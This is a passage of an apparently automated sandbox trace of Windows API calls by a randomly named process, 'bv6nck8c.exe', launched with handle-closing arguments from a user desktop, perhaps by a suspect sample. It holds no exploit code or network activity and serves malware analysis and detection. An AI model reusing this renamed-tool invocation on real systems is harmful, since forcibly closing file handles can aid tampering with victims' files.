"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.198] GetLastError () returned 0x20 [0125.198] GetLastError () returned 0x20 [0125.198] SetLastError (dwErrCode=0x20) [0125.198] GetLastError () returned 0x20 [0125.198] SetLastError (dwErrCode=0x20) [0125.198] GetLastError () returned 0x20 [0125.198] SetLastError (dwErrCode=0x20) [0125.198] GetLastError () returned 0x20 [0125.199] SetLastError (dwErrCode=0x20) [0125.199] GetLastError () returned 0x20 [0125.206] SetLastError (dwErrCode=0x20) [0125.206] GetLastError () returned 0x20 [0125.206] SetLastError (dwErrCode=0x20) [0125.206] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x579828 [0125.246] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0125.287] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577818 | out: hHeap=0x560000) returned 1 [0125.287] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0125.287] ExitProcess (uExitCode=0x1) [0125.287] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5760d0 | out: hHeap=0x560000) returned 1 Process: id = "225" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x72dcb000" os_pid = "0xfd0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "210" os_parent_pid = "0xf34" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 826 os_tid = 0xfd4 [0125.029] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0125.029] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0125.030] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0125.031] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0125.032] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0125.033] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0125.034] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0125.045] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0125.046] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0125.046] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0125.046] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0125.047] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0125.047] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0125.047] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0125.047] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0125.048] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0125.048] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0125.048] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0125.049] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0125.049] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0125.049] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0125.049] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0125.049] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0125.049] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0125.049] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0125.049] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0125.062] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0125.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xedf96140, dwHighDateTime=0x1d5d06a)) [0125.062] GetCurrentThreadId () returned 0xfd4 [0125.063] GetCurrentProcessId () returned 0xfd0 [0125.063] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=26701478208) returned 1 [0125.063] GetProcessHeap () returned 0x230000 [0125.063] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0125.063] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0125.064] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0125.065] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0125.066] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3bc) returned 0x2460c0 [0125.066] GetCurrentThreadId () returned 0xfd4 [0125.066] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x246488 [0125.066] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2464a8 [0125.066] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xdba488d4, hStdError=0x0)) [0125.066] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0125.066] GetFileType (hFile=0x3) returned 0x2 [0125.067] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.067] GetFileType (hFile=0x7) returned 0x2 [0125.067] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0125.067] GetFileType (hFile=0xb) returned 0x2 [0125.068] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0125.068] GetEnvironmentStringsW () returned 0x246cb0* [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xb80) returned 0x247838 [0125.068] FreeEnvironmentStringsW (penv=0x246cb0) returned 1 [0125.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x88) returned 0x246cb0 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa0) returned 0x246d40 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x2483d8 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x246de8 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x246e60 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x23f8e0 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x246ed8 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x246f48 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x246f80 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x246fd0 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x247000 [0125.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x245a90 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x247030 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x23f960 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247088 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2470c0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x245ab8 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x2470f8 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x2471d8 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x247260 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x248420 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x2472a0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247338 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247368 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2473a0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x2473e0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247430 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x248468 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x247490 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x2474b0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x247540 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x245ae0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x247578 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2475b0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247610 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x247670 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x2484b0 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2476a8 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247708 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247738 [0125.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x247770 [0125.069] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247838 | out: hHeap=0x230000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x247808 [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] GetACP () returned 0x4e4 [0125.070] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x248010 [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] IsValidCodePage (CodePage=0x4e4) returned 1 [0125.070] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0125.070] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.070] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0125.070] GetLastError () returned 0x0 [0125.070] SetLastError (dwErrCode=0x0) [0125.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" 